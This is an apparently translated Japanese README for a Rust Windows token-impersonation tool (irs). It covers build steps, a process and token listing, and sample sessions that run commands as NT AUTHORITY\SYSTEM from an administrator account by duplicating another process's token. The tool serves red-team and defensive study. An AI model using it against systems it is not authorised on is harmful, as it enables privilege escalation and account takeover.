
Rusty Impersonate
💡 IRSは https://github.com/zblurx/impersonate-rs のライブラリ版です。zblurx
Defte の Impersonate を素の Rust で再実装しました。詳細については、この ブログ記事 を参照してください。
トークン偽装のアプローチは Defte Impersonate とは少し異なります。ここでは、プライマリトークンを偽装したい PID を選択する必要があります。その後、irs.exe は次の処理を行います:
CreateProcessWithTokenW 経由でコマンドを実行し、結果を名前付きパイプに出力するこのアプローチにより、管理者権限があれば(NT SYSTEM は不要)、ターゲットコンピュータ上の任意のユーザーを偽装でき、GUI の有無にかかわらず使用できます。
# Build it from docker
git clone https://github.com/zblurx/impersonate-rs
cd impersonate-rs
make release
# Or from cargo in your host
make windows
# or
# 32 bits
RUSTFLAGS="--remap-path-prefix $$HOME=~" cargo build --release --target i686-pc-windows-gnu
# 64 bits
RUSTFLAGS="--remap-path-prefix $$HOME=~" cargo build --release --target x86_64-pc-windows-gnu
# Build documentation
cargo doc --open --no-deps
# More information
make help
静的バイナリとして使用する場合:
PS C:\Users\maldev\Desktop> .irs.exe --help
IRS (Impersonate-RS) It's a windows token impersonation tool written in Rust. zblurx <https://twitter.com/_zblurx>
Usage: irs.exe <COMMAND>
Commands:
list List all process PID available to impersonate Tokens
exec Execute command line from impersonate PID and get output
spawn Spawn new process from impersonate PID
help Print this message or the help of the given subcommand(s)
Options:
-h, --help Print help
listlist コマンドは、プロセスをセッション ID、トークンの種類、関連するユーザーとともに一覧表示します。
PS C:\Users\maldev\Desktop> .\irs.exe list
[winlogon.exe ] [PROCESS: 624 ] [SESSION: 1 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système ]
[lsass.exe ] [PROCESS: 672 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système ]
[svchost.exe ] [PROCESS: 780 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système ]
[fontdrvhost.exe ] [PROCESS: 788 ] [SESSION: 0 ] [TYPE: Primary] [Low ] [USER: Font Driver Host\UMFD-0 ]
[fontdrvhost.exe ] [PROCESS: 796 ] [SESSION: 1 ] [TYPE: Primary] [Low ] [USER: Font Driver Host\UMFD-1 ]
[svchost.exe ] [PROCESS: 888 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE RÉSEAU ]
[svchost.exe ] [PROCESS: 948 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système ]
[dwm.exe ] [PROCESS: 412 ] [SESSION: 1 ] [TYPE: Primary] [System] [USER: Window Manager\DWM-1 ]
[svchost.exe ] [PROCESS: 460 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système ]
[svchost.exe ] [PROCESS: 696 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL ]
[REDACTED]
[svchost.exe ] [PROCESS: 836 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL ]
[svchost.exe ] [PROCESS: 908 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL ]
[svchost.exe ] [PROCESS: 1060 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL ]
[svchost.exe ] [PROCESS: 1088 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL ]
[svchost.exe ] [PROCESS: 1124 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système ]
[svchost.exe ] [PROCESS: 1176 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système ]

execexec コマンドは、pid 引数で指定された対象プロセス ID を開き、そのトークンを複製して、新しいトークンでコマンドを実行します。
X:\>whoami
adcs1\administrator
PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --command whoami
[2025-10-13T20:59:42Z INFO irs::impersonate::exec] Impersonate user NT AUTHORITY\SYSTEM
nt authority\system
PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --command "whoami /all"
[2025-10-13T20:59:42Z INFO irs::impersonate::exec] Impersonate user NT AUTHORITY\SYSTEM
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label S-1-16-16384
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== ============================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Disabled

spawnspawn コマンドは、選択した pid のトークンを複製し、その複製されたトークンを使用して新しいプロセスを起動します。
PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --binary "C:\Windows\System32\cmd.exe"
[2025-10-13T20:59:42Z INFO irs::impersonate::exec] Impersonate user NT AUTHORITY\SYSTEM

libraryまたは、Rust プロジェクトで直接次のように使用します:
Cargo.toml:
[dependencies]
irs = { path = "/data/02-GIT/github/impersonate-rs/", version = "1.0.0" }
または GitHub リポジトリを使用する場合:
[dependencies]
irs = { git = "https://github.com/g0h4n/impersonate-rs", version = "1.0.0" }
main.rs:
use irs::*;
fn main() {
// List process
impersonate::privileges::enabling_sedebug().expect("[!] Failed to run enabling_sedebug()");
token::enum_token().expect("[!] Failed to run enum_token()");
}
利用可能なすべての関数を確認するには、次のコマンドで Rust ドキュメントを開いてください。
cargo doc --open --no-deps

g0h4n 氏のリポジトリへの貢献(ライブラリ化、色付け、コードの整理など)に深く感謝します。